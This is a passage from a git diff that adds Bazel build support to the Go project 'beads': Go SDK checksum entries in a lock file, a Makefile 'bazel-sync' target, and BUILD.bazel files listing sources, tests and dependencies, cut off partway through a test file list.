"go1.25.0.linux-s390x.tar.gz", + "34e5a2e19f2292fbaf8783e3a241e6e49689276aef6510a8060ea5ef54eee408" + ], + "netbsd_386": [ + "go1.25.0.netbsd-386.tar.gz", + "f8586cdb7aa855657609a5c5f6dbf523efa00c2bbd7c76d3936bec80aa6c0aba" + ], + "netbsd_amd64": [ + "go1.25.0.netbsd-amd64.tar.gz", + "ae8dc1469385b86a157a423bb56304ba45730de8a897615874f57dd096db2c2a" + ], + "netbsd_arm": [ + "go1.25.0.netbsd-arm.tar.gz", + "1ff7e4cc764425fc9dd6825eaee79d02b3c7cafffbb3691687c8d672ade76cb7" + ], + "netbsd_arm64": [ + "go1.25.0.netbsd-arm64.tar.gz", + "e1b310739f26724216aa6d7d7208c4031f9ff54c9b5b9a796ddc8bebcb4a5f16" + ], + "openbsd_386": [ + "go1.25.0.openbsd-386.tar.gz", + "4802a9b20e533da91adb84aab42e94aa56cfe3e5475d0550bed3385b182e69d8" + ], + "openbsd_amd64": [ + "go1.25.0.openbsd-amd64.tar.gz", + "c016cd984bebe317b19a4f297c4f50def120dc9788490540c89f28e42f1dabe1" + ], + "openbsd_arm": [ + "go1.25.0.openbsd-arm.tar.gz", + "a1e31d0bf22172ddde42edf5ec811ef81be43433df0948ece52fecb247ccfd8d" + ], + "openbsd_arm64": [ + "go1.25.0.openbsd-arm64.tar.gz", + "343ea8edd8c218196e15a859c6072d0dd3246fbbb168481ab665eb4c4140458d" + ], + "openbsd_ppc64": [ + "go1.25.0.openbsd-ppc64.tar.gz", + "694c14da1bcaeb5e3332d49bdc2b6d155067648f8fe1540c5de8f3cf8e157154" + ], + "openbsd_riscv64": [ + "go1.25.0.openbsd-riscv64.tar.gz", + "aa510ad25cf54c06cd9c70b6d80ded69cb20188ac6e1735655eef29ff7e7885f" + ], + "plan9_386": [ + "go1.25.0.plan9-386.tar.gz", + "46f8cef02086cf04bf186c5912776b56535178d4cb319cd19c9fdbdd29231986" + ], + "plan9_amd64": [ + "go1.25.0.plan9-amd64.tar.gz", + "29b34391d84095e44608a228f63f2f88113a37b74a79781353ec043dfbcb427b" + ], + "plan9_arm": [ + "go1.25.0.plan9-arm.tar.gz", + "0a047107d13ebe7943aaa6d54b1d7bbd2e45e68ce449b52915a818da715799c2" + ], + "solaris_amd64": [ + "go1.25.0.solaris-amd64.tar.gz", + "9977f9e4351984364a3b2b78f8b88bfd1d339812356d5237678514594b7d3611" + ], + "windows_386": [ + "go1.25.0.windows-386.zip", + "df9f39db82a803af0db639e3613a36681ab7a42866b1384b3f3a1045663961a7" + ], + "windows_amd64": [ + "go1.25.0.windows-amd64.zip", + "89efb4f9b30812eee083cc1770fdd2913c14d301064f6454851428f9707d190b" + ], + "windows_arm64": [ + "go1.25.0.windows-arm64.zip", + "27bab004c72b3d7bd05a69b6ec0fc54a309b4b78cc569dd963d8b3ec28bfdb8c" + ] + }, + "1.26.7": { + "aix_ppc64": [ + "go1.26.7.aix-ppc64.tar.gz", + "e5aed98bc83f569a374dbfd79d632b058e5130192fbd4c4ee0d4f6e3d9c101bb" + ], + "darwin_amd64": [ + "go1.26.7.darwin-amd64.tar.gz", + "92e8b34bff3c89ab16404c595669ac8cb004cc2f676dcbd1f5b87a6b8def3b47" + ], + "darwin_arm64": [ + "go1.26.7.darwin-arm64.tar.gz", + "020a1e8224811be75163e920bc77e0926a1390a6aeea19bdcf23f74b9d749f6d" + ], + "dragonfly_amd64": [ + "go1.26.7.dragonfly-amd64.tar.gz", + "d980dc9ecc48de09b2fa1765886abb8c7b0ad738bf8cc483b76019facc2df4d1" + ], + "freebsd_386": [ + "go1.26.7.freebsd-386.tar.gz", + "7eecfa4d6c126bcdedb8e16583ec672857e607659c672c60a9d645f8957da117" + ], + "freebsd_amd64": [ + "go1.26.7.freebsd-amd64.tar.gz", + "2ad37146fa8449907716b494dd268aeae6f79592b875915525c28c8c337ad32a" + ], + "freebsd_arm": [ + "go1.26.7.freebsd-arm.tar.gz", + "bc56379ed419cd93cf7002dcb95f554b3e3a2bd58d804182f8873e313a870b70" + ], + "freebsd_arm64": [ + "go1.26.7.freebsd-arm64.tar.gz", + "23d425a3a51876df8bf050f080b1ae50340048def689fbcc44c939fa23485ce0" + ], + "illumos_amd64": [ + "go1.26.7.illumos-amd64.tar.gz", + "be51df2411786e1fa6325461e509224a94c5e8d001da8e4548d9e028a53a3c22" + ], + "linux_386": [ + "go1.26.7.linux-386.tar.gz", + "5b6fad4a7fe8fa230c935625b67450305be95e2f4f976b731623f76b88fc4821" + ], + "linux_amd64": [ + "go1.26.7.linux-amd64.tar.gz", + "ffb5f8de10c62550dfddab66b36b57030721e0a44a3218e9e1181d7b59f121ca" + ], + "linux_arm64": [ + "go1.26.7.linux-arm64.tar.gz", + "5a4ec883379d51ee9ce1040d5e87f8d35e20387574dd8c947feb01eabc3c1b37" + ], + "linux_armv6l": [ + "go1.26.7.linux-armv6l.tar.gz", + "6a41557335d1d9fa9bfc7439cedcfd0e4df2fc83d916175b5f3eae4685f5fe3f" + ], + "linux_loong64": [ + "go1.26.7.linux-loong64.tar.gz", + "89b5e92446e719719e23db447a41860d7d573252bab0704c9acb09ad97e9eca1" + ], + "linux_mips": [ + "go1.26.7.linux-mips.tar.gz", + "fbdbf78b04494843fde47b15150e12adb7e2c0e2289eacbc18e6629a99604620" + ], + "linux_mips64": [ + "go1.26.7.linux-mips64.tar.gz", + "93b1360a29f4a71dbb6995f149b9312f67f5ce52197fea0042e9c9423809a496" + ], + "linux_mips64le": [ + "go1.26.7.linux-mips64le.tar.gz", + "402dd2bd57fb4c982ef0eccbb4f7209ae98a753856e99baf962f1ac54493d65d" + ], + "linux_mipsle": [ + "go1.26.7.linux-mipsle.tar.gz", + "967da58e88c45c401593a8552be9beedaa989a3484a3105850d2beb6ca9ed698" + ], + "linux_ppc64": [ + "go1.26.7.linux-ppc64.tar.gz", + "8feee58b3fa8d270343519d10d66736150e627d39aee937e6e889ba5445c8be9" + ], + "linux_ppc64le": [ + "go1.26.7.linux-ppc64le.tar.gz", + "22d3b362d557175fd16b79651cab0cad64f8aaaedca745f66d16f44d56bc5de1" + ], + "linux_riscv64": [ + "go1.26.7.linux-riscv64.tar.gz", + "21e1dc0e2f7dd9f80e0e94613fc324f1f99403b99997f9d8c5f80f8132fc642b" + ], + "linux_s390x": [ + "go1.26.7.linux-s390x.tar.gz", + "bc3308e05e9397958ad4aac453e3dc4565ba6d548e9ace0a9b4b165feb6382f2" + ], + "netbsd_386": [ + "go1.26.7.netbsd-386.tar.gz", + "c0a28bd30d8c07966cf7bc43fc6936866fb1a0e84ab4e983d4e8ca15edc1a4d1" + ], + "netbsd_amd64": [ + "go1.26.7.netbsd-amd64.tar.gz", + "dff0b16d129f5e70f3bb38ed98d467404b5b130c7c8b3fe6b074601855f2bcd5" + ], + "netbsd_arm": [ + "go1.26.7.netbsd-arm.tar.gz", + "36d15f8c5c5a5a048251b39ce67ed5a7ae2d072f1aa5c301cbde110670e824b2" + ], + "netbsd_arm64": [ + "go1.26.7.netbsd-arm64.tar.gz", + "b75802b366e5b60aa6cfded871f0a72abadf297c5a68c523c5857822a5b92d34" + ], + "openbsd_386": [ + "go1.26.7.openbsd-386.tar.gz", + "c26201688339b2a10bf980be2d64adfd3a383b31a164377b0123ad78bde6979c" + ], + "openbsd_amd64": [ + "go1.26.7.openbsd-amd64.tar.gz", + "562de088b844764029f59ff52e82218711a4b585ab7ae175b88eff53e051a8df" + ], + "openbsd_arm": [ + "go1.26.7.openbsd-arm.tar.gz", + "646e19cd3449aec767bf75622d368b02c73d529a5478a25f2a7e21148b1a4cb6" + ], + "openbsd_arm64": [ + "go1.26.7.openbsd-arm64.tar.gz", + "2045303632e112290e939dfd4678401109f612f7913f459e2d7d079e750723f5" + ], + "openbsd_ppc64": [ + "go1.26.7.openbsd-ppc64.tar.gz", + "23e89de68225dc41dd981601602e67fab0c4ca87af8f70a25131c06a301f9000" + ], + "openbsd_riscv64": [ + "go1.26.7.openbsd-riscv64.tar.gz", + "c0de2c6c353a582ca7682ed5a550056a8b5d59649260da4d1e327cf96684c822" + ], + "plan9_386": [ + "go1.26.7.plan9-386.tar.gz", + "14ae7414a2ea05d26e1fc499d9b372c7f8f17726c49a5222fa9063b0f752a22c" + ], + "plan9_amd64": [ + "go1.26.7.plan9-amd64.tar.gz", + "f9459b8137bdb81621d4e0cdba4c849a617c89c11a3088083ad3a8c97467c6a5" + ], + "plan9_arm": [ + "go1.26.7.plan9-arm.tar.gz", + "4f444bd2e0f8a08ba8799131dd3531bea8723bf96b8ffa0e0948936a3c4aa8f0" + ], + "solaris_amd64": [ + "go1.26.7.solaris-amd64.tar.gz", + "04b5b280e0e0de1b91d7da5e34801dbf75e5621615f80cfd9935091d673f1238" + ], + "windows_386": [ + "go1.26.7.windows-386.zip", + "59cf0b9814c41c960d70df3cd5360fda0793e5d2230737d58e009392181fb636" + ], + "windows_amd64": [ + "go1.26.7.windows-amd64.zip", + "f4f534a486e4bc3387fa18f08208f2f854b7aaea8a08f2a2d829a914a05abb11" + ], + "windows_arm64": [ + "go1.26.7.windows-arm64.zip", + "6f1b08de9e2dd94f69c52e524ab6834737275253291e8fd7f1c12ed4eceeda89" + ] + } + } + }, + "factsVersions": {} +} diff --git a/Makefile b/Makefile index 6ea33d12d..c70c10c0c 100644 --- a/Makefile +++ b/Makefile @@ -46,6 +46,7 @@ endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short .PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check +.PHONY: bazel-sync # Default target all: build @@ -408,6 +409,14 @@ diagrams-excalidraw: docs-dev: ./mint.sh dev +# Bazel (side-by-side with the Go toolchain; `go build`/`go test` do not need +# it). Regenerate BUILD.bazel files with gazelle and refresh the MODULE.bazel +# use_repo list + MODULE.bazel.lock. Run after changing Go imports or go.mod. +BAZEL ?= bazel +bazel-sync: + $(BAZEL) run //:gazelle + $(BAZEL) mod tidy + # Ensure -short is not used as an implicit CI tier boundary. check-testing-short: @./scripts/check-testing-short.sh @@ -456,6 +465,7 @@ help: @echo " make check-docs - Validate docs against CLI flags" @echo " make api-gen - Regenerate HTTP API types from the OpenAPI spec" @echo " make api-check - OpenAPI drift gate (regenerate, diff-or-fail, spec tests)" + @echo " make bazel-sync - Regenerate Bazel BUILD files and tidy MODULE.bazel (gazelle + mod tidy)" @echo " make clean - Remove build artifacts and profile files" @echo " make clean-test-tmp - Sweep orphaned cmd/bd test temp dirs from \$$TMPDIR" @echo " make help - Show this help message" diff --git a/backend/BUILD.bazel b/backend/BUILD.bazel new file mode 100644 index 000000000..210fd61ae --- /dev/null +++ b/backend/BUILD.bazel @@ -0,0 +1,30 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "backend", + srcs = [ + "backend.go", + "errors.go", + "types.go", + ], + importpath = "github.com/steveyegge/beads/backend", + visibility = ["//visibility:public"], + deps = [ + "//internal/storage", + "//internal/storage/backends", + "//internal/types", + ], +) + +go_test( + name = "backend_test", + srcs = [ + "completeness_test.go", + "errors_test.go", + ], + deps = [ + ":backend", + "//backend/conformance", + "//internal/storage", + ], +) diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel new file mode 100644 index 000000000..d2dcfa9d6 --- /dev/null +++ b/backend/conformance/BUILD.bazel @@ -0,0 +1,90 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "conformance", + srcs = [ + "audit.go", + "audit_config_metadata_slots_repomtime.go", + "audit_dependencies_readiness.go", + "audit_issue-lifecycle.go", + "audit_labels-comments-events.go", + "audit_molecule_wisp_batch_iter.go", + "audit_search-counts-stats.go", + "batch_apply_contract.go", + "batch_closer_contract.go", + "batch_creator_contract.go", + "blocked_state.go", + "blocking_annotator_contract.go", + "bootstrapper_contract.go", + "claim.go", + "claimer_contract.go", + "commenter_contract.go", + "conformance.go", + "counter_contract.go", + "cross_record_invariant_contract.go", + "cycle_detector_contract.go", + "deleter_contract.go", + "dependency_editor_contract.go", + "dualwrite_history_contract.go", + "edge_reader_contract.go", + "expected_revision_contract.go", + "graph_counter_contract.go", + "history_matching.go", + "importer_contract.go", + "issue_operations_contract.go", + "issue_operations_staging.go", + "journal_contract.go", + "lifecycle_close_reopen_contract.go", + "lifecycle_create_contract.go", + "lifecycle_update_contract.go", + "memories_contract.go", + "metadata_cas_contract.go", + "portable.go", + "querier_contract.go", + "reader_contract.go", + "ready_claimer_contract.go", + "ready_counter_contract.go", + "reclaim_scope.go", + "relations_contract.go", + "releaser_contract.go", + "retention_epoch_contract.go", + "role_bundle.go", + "role_bundle_cases.go", + "search_paging.go", + "stats_reporter_contract.go", + "sweeper_contract.go", + "transaction_parity.go", + "tree_walker_contract.go", + "version_reconciler_contract.go", + "workspaceconfig_contract.go", + ], + importpath = "github.com/steveyegge/beads/backend/conformance", + visibility = ["//visibility:public"], + deps = [ + "//internal/storage", + "//internal/storage/issueops", + "//internal/storage/kvkeys", + "//internal/storage/sqlbuild", + "//internal/types", + "//issueops", + "//journalops", + "//memoryops", + ], +) + +go_test( + name = "conformance_test", + srcs = [ + "role_bundle_test.go", + "role_coverage_gate_test.go", + "role_coverage_scan_test.go", + "versioned_history_wiring_test.go", + ], + embed = [":conformance"], + deps = [ + "//internal/storage", + "//issueops", + "//journalops", + "//memoryops", + ], +) diff --git a/beadserrors/BUILD.bazel b/beadserrors/BUILD.bazel new file mode 100644 index 000000000..0198fb8e4 --- /dev/null +++ b/beadserrors/BUILD.bazel @@ -0,0 +1,8 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "beadserrors", + srcs = ["errors.go"], + importpath = "github.com/steveyegge/beads/beadserrors", + visibility = ["//visibility:public"], +) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel new file mode 100644 index 000000000..cdffb53d5 --- /dev/null +++ b/cmd/bd/BUILD.bazel @@ -0,0 +1,1191 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "bd_lib", + srcs = [ + "admin.go", + "ado.go", + "agent_hook.go", + "assign.go", + "audit.go", + "auto_import_upgrade.go", + "backend_support.go", + "backup.go", + "backup_auto.go", + "backup_dolt.go", + "backup_export.go", + "backup_proxied_server.go", + "backup_restore.go", + "batch.go", + "batch_proxied_server.go", + "bootstrap.go", + "branch.go", + "capability_registry.go", + "children.go", + "cleanup.go", + "close.go", + "close_direct.go", + "close_proxied_server.go", + "closed_delete_candidates.go", + "codex_hook.go", + "command_telemetry.go", + "comment.go", + "comments.go", + "comments_proxied_server.go", + "compact.go", + "compact_dolt.go", + "compact_dolt_proxied_server.go", + "compact_proxied_server.go", + "completions.go", + "config.go", + "config_apply.go", + "config_drift.go", + "config_drift_unix.go", + "config_drift_windows.go", + "config_proxied_server.go", + "config_show.go", + "config_side_effects.go", + "conflicts.go", + "context.go", + "context_cmd.go", + "context_proxied_server.go", + "cook.go", + "count.go", + "count_proxied_server.go", + "create.go", + "create_atomic.go", + "create_deps.go", + "create_form.go", + "create_input.go", + "create_proxied_server.go", + "cursor_hook.go", + "database_name.go", + "db_proxy_child.go", + "defer.go", + "defer_proxied_server.go", + "delete.go", + "delete_proxied_server.go", + "dep.go", + "dep_cycles.go", + "dep_proxied_server.go", + "dep_relation.go", + "dep_tree.go", + "detect_pollution.go", + "diff.go", + "direct_mode.go", + "doctor.go", + "doctor_agent.go", + "doctor_artifacts.go", + "doctor_conventions.go", + "doctor_fix.go", + "doctor_health.go", + "doctor_orchestrator_guard.go", + "doctor_pollution.go", + "doctor_validate.go", + "dolt.go", + "dolt_autocommit.go", + "dolt_autocommit_config.go", + "dolt_autopush.go", + "dolt_clean_databases.go", + "dolt_clean_databases_proxied_server.go", + "dolt_local_only.go", + "dolt_proxied_lifecycle.go", + "dolt_remote_adopt.go", + "dolt_remote_guard.go", + "dolt_remote_proxied_server.go", + "dolt_remote_reset_data.go", + "duplicate.go", + "duplicates.go", + "duplicates_proxied_server.go", + "edit.go", + "edit_proxied_server.go", + "epic.go", + "epic_proxied_server.go", + "errors.go", + "events.go", + "events_journal.go", + "export.go", + "export_auto.go", + "export_obsidian.go", + "export_source.go", + "federation.go", + "federation_nocgo.go", + "feedback.go", + "find_duplicates.go", + "find_duplicates_proxied_server.go", + "flags.go", + "flatten.go", + "formula.go", + "formula_schema.go", + "fs_adapters.go", + "gate.go", + "gate_discover.go", + "gate_proxied_server.go", + "gc.go", + "gc_proxied_server.go", + "gc_prune.go", + "git_test_helpers.go", + "github.go", + "gitlab.go", + "graph.go", + "graph_apply.go", + "graph_export.go", + "graph_proxied_server.go", + "graph_visual.go", + "heartbeat.go", + "heartbeat_proxied_server.go", + "help_all.go", + "help_supplements.go", + "history.go", + "history_proxied_server.go", + "hooks.go", + "human.go", + "human_proxied_server.go", + "import.go", + "import_path.go", + "import_proxied_server.go", + "import_shared.go", + "info.go", + "info_proxied_server.go", + "init.go", + "init_agent.go", + "init_contributor.go", + "init_git_hooks.go", + "init_guard.go", + "init_policy.go", + "init_proxied_server.go", + "init_safety.go", + "init_safety_help.go", + "init_stealth.go", + "init_team.go", + "init_templates.go", + "issueops_adapter.go", + "jira.go", + "kv.go", + "kv_proxied_server.go", + "label.go", + "label_proxied_server.go", + "label_whitespace_warn.go", + "last_touched.go", + "legacy_sqlite_reader.go", + "legacy_upgrade_guard.go", + "linear.go", + "link.go", + "link_proxied_server.go", + "lint.go", + "lint_proxied_server.go", + "list.go", + "list_format.go", + "list_input.go", + "list_output.go", + "list_proxied_server.go", + "list_roles.go", + "list_show_filter_modes.go", + "list_tree.go", + "list_tree_deps.go", + "mail.go", + "main.go", + "main_errors.go", + "main_help.go", + "markdown.go", + "max_rows.go", + "memory.go", + "merge_slot.go", + "metadata_flag.go", + "metrics.go", + "migrate.go", + "migrate_dolt_mode.go", + "migrate_hooks.go", + "migrate_hooks_apply.go", + "migrate_issues.go", + "migrate_personal.go", + "mol.go", + "mol_bond.go", + "mol_burn.go", + "mol_current.go", + "mol_distill.go", + "mol_last_activity.go", + "mol_port.go", + "mol_progress.go", + "mol_proxied_server.go", + "mol_ready_gated.go", + "mol_seed.go", + "mol_show.go", + "mol_squash.go", + "mol_stale.go", + "mutate_proxied_server.go", + "nocow_linux.go", + "nocow_other.go", + "note.go", + "notion.go", + "onboard.go", + "orphans.go", + "orphans_proxied_server.go", + "output.go", + "ping.go", + "ping_proxied_server.go", + "pour.go", + "preflight.go", + "prime.go", + "prime_divergence.go", + "prime_proxied_server.go", + "priority.go", + "promote.go", + "promote_proxied_server.go", + "prompt.go", + "provenance.go", + "proxied_maintenance.go", + "proxied_server.go", + "proxy_capability.go", + "proxy_topology.go", + "prune.go", + "purge.go", + "purge_proxied_server.go", + "query.go", + "query_proxied_server.go", + "quick.go", + "quick_proxied_server.go", + "quickstart.go", + "ready.go", + "ready_input.go", + "ready_proxied_server.go", + "reclaim.go", + "recompute_blocked.go", + "recompute_blocked_proxied_server.go", + "relate.go", + "relate_proxied_server.go", + "remote_migrate_gate.go", + "rename.go", + "rename_prefix.go", + "reopen.go", + "reopen_proxied_server.go", + "repo.go", + "reset.go", + "restore.go", + "routed.go", + "routing_read.go", + "rules.go", + "sandbox_unix.go", + "sandbox_windows.go", + "schema.go", + "schema_skew.go", + "search.go", + "search_proxied_server.go", + "send_metrics.go", + "serve.go", + "setup.go", + "ship.go", + "show.go", + "show_children.go", + "show_display.go", + "show_format.go", + "show_proxied_server.go", + "show_refs.go", + "show_thread.go", + "show_unit_helpers.go", + "sql.go", + "sql_proxied_server.go", + "stale.go", + "stale_proxied_server.go", + "state.go", + "status.go", + "status_proxied_server.go", + "statuses.go", + "statuses_proxied_server.go", + "storage_chain.go", + "store_factory.go", + "store_factory_nocgo.go", + "store_reopen.go", + "swarm.go", + "swarm_proxied_server.go", + "sync.go", + "sync_flags.go", + "sync_git.go", + "sync_push_pull.go", + "sync_remote.go", + "tag.go", + "telemetry_redact.go", + "template.go", + "test_guard_helpers.go", + "thanks.go", + "tips.go", + "todo.go", + "todo_proxied_server.go", + "tracker_store.go", + "types.go", + "types_proxied_server.go", + "unclaim.go", + "unclaim_proxied_server.go", + "undefer.go", + "uow_factory.go", + "update.go", + "update_description_guard.go", + "update_input.go", + "update_proxied_server.go", + "upgrade.go", + "vc.go", + "version.go", + "version_proxied_server.go", + "version_tracking.go", + "where.go", + "wisp.go", + "wisp_proxied_server.go", + "workspace_gate.go", + "worktree.go", + "worktree_cmd.go", + "worktree_remove_cmd.go", + "worktree_remove_git.go", + ], + embedsrcs = ["help_supplements/create_graph_plan.md"], + importpath = "github.com/steveyegge/beads/cmd/bd", + visibility = ["//visibility:private"], + deps = [ + "//:beads", + "//cmd/bd/doctor", + "//cmd/bd/doctor/fix", + "//cmd/bd/setup", + "//internal/ado", + "//internal/atomicfile", + "//internal/audit", + "//internal/beads", + "//internal/compact", + "//internal/config", + "//internal/configfile", + "//internal/debug", + "//internal/doltremote", + "//internal/doltserver", + "//internal/doltversion", + "//internal/eventsjournal", + "//internal/formula", + "//internal/git", + "//internal/githooksenv", + "//internal/github", + "//internal/gitlab", + "//internal/hooks", + "//internal/httpapi", + "//internal/jira", + "//internal/linear", + "//internal/lockfile", + "//internal/memoryapi", + "//internal/metrics", + "//internal/migration", + "//internal/migration/legacysqlite", + "//internal/molecules", + "//internal/notion", + "//internal/query", + "//internal/recipes", + "//internal/remotecache", + "//internal/routing", + "//internal/storage", + "//internal/storage/backends", + "//internal/storage/contextinfo", + "//internal/storage/dberrors", + "//internal/storage/dbproxy/proxy", + "//internal/storage/dbproxy/server", + "//internal/storage/dbproxy/util", + "//internal/storage/dolt", + "//internal/storage/doltutil", + "//internal/storage/domain", + "//internal/storage/domain/db", + "//internal/storage/embeddeddolt", + "//internal/storage/externaldeps", + "//internal/storage/fs", + "//internal/storage/git", + "//internal/storage/issueops", + "//internal/storage/kvkeys", + "//internal/storage/schema", + "//internal/storage/uow", + "//internal/storage/versioncontrolops", + "//internal/telemetry", + "//internal/templates/agents", + "//internal/timeparsing", + "//internal/tracker", + "//internal/types", + "//internal/ui", + "//internal/uimd", + "//internal/utils", + "//internal/validation", + "//internal/workapi", + "//internal/workspacegate", + "//internal/worktreeremove", + "//issueops", + "//memoryops", + "@com_github_anthropics_anthropic_sdk_go//:anthropic-sdk-go", + "@com_github_anthropics_anthropic_sdk_go//option", + "@com_github_burntsushi_toml//:toml", + "@com_github_charmbracelet_x_ansi//:ansi", + "@com_github_dolthub_dolt_go//libraries/doltcore/servercfg", + "@com_github_dolthub_dolt_go//libraries/utils/filesys", + "@com_github_go_sql_driver_mysql//:mysql", + "@com_github_invopop_jsonschema//:jsonschema", + "@com_github_spf13_cobra//:cobra", + "@com_github_spf13_pflag//:pflag", + "@com_github_spf13_viper//:viper", + "@com_github_subosito_gotenv//:gotenv", + "@in_gopkg_yaml_v3//:yaml_v3", + "@io_opentelemetry_go_otel//attribute", + "@io_opentelemetry_go_otel//codes", + "@io_opentelemetry_go_otel_trace//:trace", + "@land_charm_huh_v2//:huh", + "@land_charm_lipgloss_v2//:lipgloss", + "@org_golang_x_mod//semver", + "@org_golang_x_term//:term", + ] + select({ + "@rules_go//go/platform:android": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:linux": [ + "@org_golang_x_sys//unix", + ], + "@rules_go//go/platform:windows": [ + "@org_golang_x_sys//windows", + ], + "//conditions:default": [], + }), +) + +go_binary( + name = "bd", + embed = [":bd_lib"], + visibility = ["//visibility:public"], +) + +go_test( + name = "bd_test", + srcs = [ + "aaa_stdio_baseline_test.go", + "actor_test.go", + "ado_test.go", + "assign_fence_embedded_test.go", + "assign_fence_proxied_test.go", + "auto_import_upgrade_test.go", + "auto_import_upgrade_unit_test.go", + "autocommit_embedded_test.go", + "backend_registry_contract_test.go", + "backup_auto_test.go", + "backup_dolt_test.go", + "backup_embedded_test.go", + "backup_export_failure_test.go", + "backup_proxied_external_integration_test.go", + "backup_proxied_local_integration_test.go", + "backup_proxied_policy_test.go", + "backup_restore_test.go", + "backup_status_test.go", + "backup_test.go", + "batch_embedded_test.go", + "batch_parity_test.go", + "batch_test.go", + "blocked_embedded_test.go", + "blocked_proxied_integration_test.go", + "bootstrap_backend_guard_test.go", + "bootstrap_embedded_test.go", + "bootstrap_guard_test.go", + "bootstrap_noninteractive_test.go", + "bootstrap_registered_backend_test.go", + "bootstrap_test.go", + "bootstrap_worktree_test.go", + "branch_embedded_test.go", + "capability_registry_history_test.go", + "capability_registry_test.go", + "capability_registry_transform_test.go", + "cascade_parity_proxied_integration_test.go", + "children_embedded_test.go", + "children_test.go", + "claim_pools_embedded_test.go", + "close_embedded_test.go", + "close_gate_test.go", + "close_last_touched_test.go", + "close_proxied_integration_test.go", + "close_reason_file_test.go", + "close_routing_test.go", + "codex_hook_test.go", + "command_telemetry_test.go", + "comment_promote_embedded_test.go", + "comment_proxied_integration_test.go", + "comment_test.go", + "comments_cli_embedded_test.go", + "comments_test.go", + "compact_embedded_test.go", + "compact_gc_flag_test.go", + "compact_test.go", + "compact_tier2_embedded_test.go", + "completions_test.go", + "config_apply_test.go", + "config_drift_test.go", + "config_drift_windows_test.go", + "config_embedded_test.go", + "config_get_backup_enabled_embedded_test.go", + "config_get_backup_enabled_test.go", + "config_guard_test.go", + "config_isolation_regression_test.go", + "config_list_test.go", + "config_nodb_embedded_test.go", + "config_proxied_integration_test.go", + "config_setmany_test.go", + "config_show_kv_exclusion_test.go", + "config_show_test.go", + "config_side_effects_test.go", + "config_test.go", + "config_validate_key_test.go", + "config_worktree_test.go", + "conflicts_conclude_integration_test.go", + "conflicts_conclude_test.go", + "conflicts_test.go", + "context_binding_integration_test.go", + "context_binding_test.go", + "context_cmd_test.go", + "context_embedded_test.go", + "context_identity_test.go", + "context_proxied_integration_test.go", + "context_test.go", + "contributor_embedded_test.go", + "cook_qnt_test.go", + "cook_test.go", + "count_embedded_test.go", + "count_filter_test.go", + "count_proxied_integration_test.go", + "cpu_profile_test.go", + "create_atomic_test.go", + "create_deps_atomic_test.go", + "create_deps_test.go", + "create_dispatch_test.go", + "create_embedded_test.go", + "create_external_ref_test.go", + "create_form_test.go", + "create_input_test.go", + "create_labels_test.go", + "create_markdown_batch_test.go", + "create_notes_test.go", + "create_prefix_test.go", + "create_proxied_external_integration_test.go", + "create_proxied_integration_test.go", + "create_proxied_server_test.go", + "create_proxy_unrouted_embedded_test.go", + "create_repo_no_cwd_beads_embedded_test.go", + "create_repo_remote_url_preprun_test.go", + "create_routing_test.go", + "create_test.go", + "create_timestamp_precision_embedded_test.go", + "critical_paths_test.go", + "cross_mode_parity_harness_test.go", + "cursor_hook_test.go", + "database_name_test.go", + "db_proxy_child_test.go", + "defer_embedded_test.go", + "defer_proxied_integration_test.go", + "defer_wake_embedded_test.go", + "defer_wake_proxied_integration_test.go", + "delete_embedded_test.go", + "delete_input_test.go", + "delete_proxied_integration_test.go", + "delete_proxied_server_output_test.go", + "dep_batch_test.go", + "dep_bulk_role_test.go", + "dep_cycles_test.go", + "dep_edge_reader_test.go", + "dep_embedded_test.go", + "dep_list_cross_db_test.go", + "dep_proxied_integration_test.go", + "dep_relation_test.go", + "dep_test.go", + "dep_warning_test.go", + "dependency_hierarchy_embedded_test.go", + "dependency_hierarchy_test.go", + "diff_embedded_test.go", + "directory_flag_test.go", + "doctor_backend_guard_test.go", + "doctor_context_test.go", + "doctor_conventions_test.go", + "doctor_embedded_test.go", + "doctor_fix_order_test.go", + "doctor_fix_pending_migrations_test.go", + "doctor_health_smoke_test.go", + "doctor_health_test.go", + "doctor_init_diagnostics_cgo_test.go", + "doctor_max_rows_test.go", + "doctor_migrate_fix_test.go", + "doctor_mutation_gate_test.go", + "doctor_orchestrator_guard_test.go", + "doctor_repair_test.go", + "doctor_test.go", + "doctor_validate_test.go", + "dolt_autocommit_server_test.go", + "dolt_autocommit_test.go", + "dolt_autopush_test.go", + "dolt_clean_databases_purge_proxied_integration_test.go", + "dolt_clean_databases_purge_test.go", + "dolt_clean_databases_quote_test.go", + "dolt_embedded_test.go", + "dolt_help_auth_test.go", + "dolt_lifecycle_proxied_server_test.go", + "dolt_local_only_embedded_test.go", + "dolt_local_only_test.go", + "dolt_proxied_lifecycle_test.go", + "dolt_remote_add_test.go", + "dolt_remote_adopt_test.go", + "dolt_remote_json_test.go", + "dolt_remote_origin_guard_test.go", + "dolt_remote_remove_proxied_integration_test.go", + "dolt_remote_reset_data_embedded_test.go", + "dolt_remote_reset_data_test.go", + "dolt_stop_test.go", + "dolt_test.go", + "dolt_worktree_remote_test.go", + "duplicate_embedded_test.go", + "duplicates_embedded_test.go", + "duplicates_proxied_integration_test.go", + "duplicates_test.go", + "envfile_test.go", + "epic_embedded_test.go", + "epic_proxied_integration_test.go", + "epic_test.go", + "errors_test.go", + "events_autoprune_e2e_test.go", + "events_autoprune_proxied_test.go", + "events_delete_actor_e2e_test.go", + "events_golden_test.go", + "events_http_e2e_test.go", + "events_journal_activation_e2e_test.go", + "events_journal_construction_test.go", + "events_proxied_server_test.go", + "events_truncation_cli_test.go", + "events_watch_http_e2e_test.go", + "explicit_db_nodb_test.go", + "export_auto_max_rows_gate_test.go", + "export_auto_missing_store_test.go", + "export_auto_test.go", + "export_auto_wedge_heal_test.go", + "export_embedded_test.go", + "export_exclude_owner_test.go", + "export_max_rows_gate_test.go", + "export_proxied_integration_test.go", + "export_source_wisp_subset_test.go", + 